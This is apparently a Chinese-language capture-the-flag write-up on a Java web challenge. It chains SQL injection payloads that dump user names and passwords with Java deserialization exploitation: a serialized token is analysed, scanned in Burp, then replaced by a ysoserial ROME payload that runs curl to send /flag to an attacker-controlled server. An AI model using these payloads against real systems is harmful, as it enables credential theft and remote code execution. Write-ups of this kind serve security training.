# sql 注入获取用户密码

首先打开 class 代码,在 test 中发现,在 /common/test/sqlDict 目录下有注入漏洞,同时也可以看到它调用了 swagger 模块

sqlDict 代码

抓一下包,以 post 形式注入,注意下注入点的路径

1
dbName=myapp?a='union+select+group_concat(name)from(user)#
1
dbName=myapp?a='union+select+group_concat(pwd)from(user)#

获取到了用户名以及密码

admin/admin@Rrrr_ctf_asde

# swagger 模块

什么是 swagger 模块:swagger-ui 提供了一个可视化的 UI 页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署 UI 项目。

接口查看地址可以通过服务地址 /swagger-ui.html 访问

这里有三个部分,分别是获取当前用户信息,登录,以及数据库字典查询,刚才得到了数据库用户的信息。

# Java 反序列化

这里尝试登录

登录之后返回的数据是明显的 java 序列化后的值

java 序列化的特征:

一段数据以 rO0AB 开头,基本可以确定是 java 序列 base64 编码的数据

一段数据以 aced 开头,那么他就是这段 java 序列化的 16 进制

1
Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu

这是 base64 编码后的序列化值,我们可以通过一个工具来看它在序列化之前是什么样的,我们要用到 SerializationDumper 这个工具,它在使用时需要用到 16 进制的序列化值,可以在网上先用 base64 转 16 进制工具转换一下,也可以用 python 脚本

1
aced000573720018636e2e6162632e636f72652e6d6f64656c2e55736572566f764643317b04f43a0200024c000269647400104c6a6176612f6c616e672f4c6f6e673b4c00046e616d657400124c6a6176612f6c616e672f537472696e673b78707372000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000000000000174000561646d696e

SerializationDumper 使用命令:java -jar SerializationDumper.jar + 16 进制序列化

# java Deserialization Scanner

java Deserialization Scanner 是一个 bp 的工具,可以扫描目标能用哪种方式进行反序列化攻击,可以直接在 bp 的插件商店里面安装,安装完之后要配置一下环境变量,写入 java 的路径以及等会要用到的工具 ysoserial 的路径

然后抓包发送到插件中,注意抓的包是反序列化注入点的包,也就是 "获取当前用户信息" 页面发送验证的请求包

选中序列化部分添加变量作为攻击点,选择 base64 编码的方式,然后 attack,攻击完之后可以看到 rome 模式是一个可攻击的点,所以在接下来用到 ysoserial 的时候,我们就用它的 rome 模块来创造 payload

# ysoserial

ysoserial 是一个集合了各种 java 反序列化 payload 的工具,这里我们用 rome 模块

使用命令如下,url 为公网服务器的地址

1
java -jar ysoserial.jar ROME "curl http://xxx.xxx.xxx.xxx:6150 -d @/flag" > tch.bin

这里会生成一个 payload 为 tch.bin,但是我们反序列化的注入点是需要 base64 格式的,我们直接拿生成的文件去一个在线文件转 base64 的网站转换一下就可以

复制下来,替换掉请求包序列化的内容

或者直接在 "获取当前用户信息" 页面中传入也是可以的

在公网服务器上监听端口(提前打开),然后获取到数据包,getflag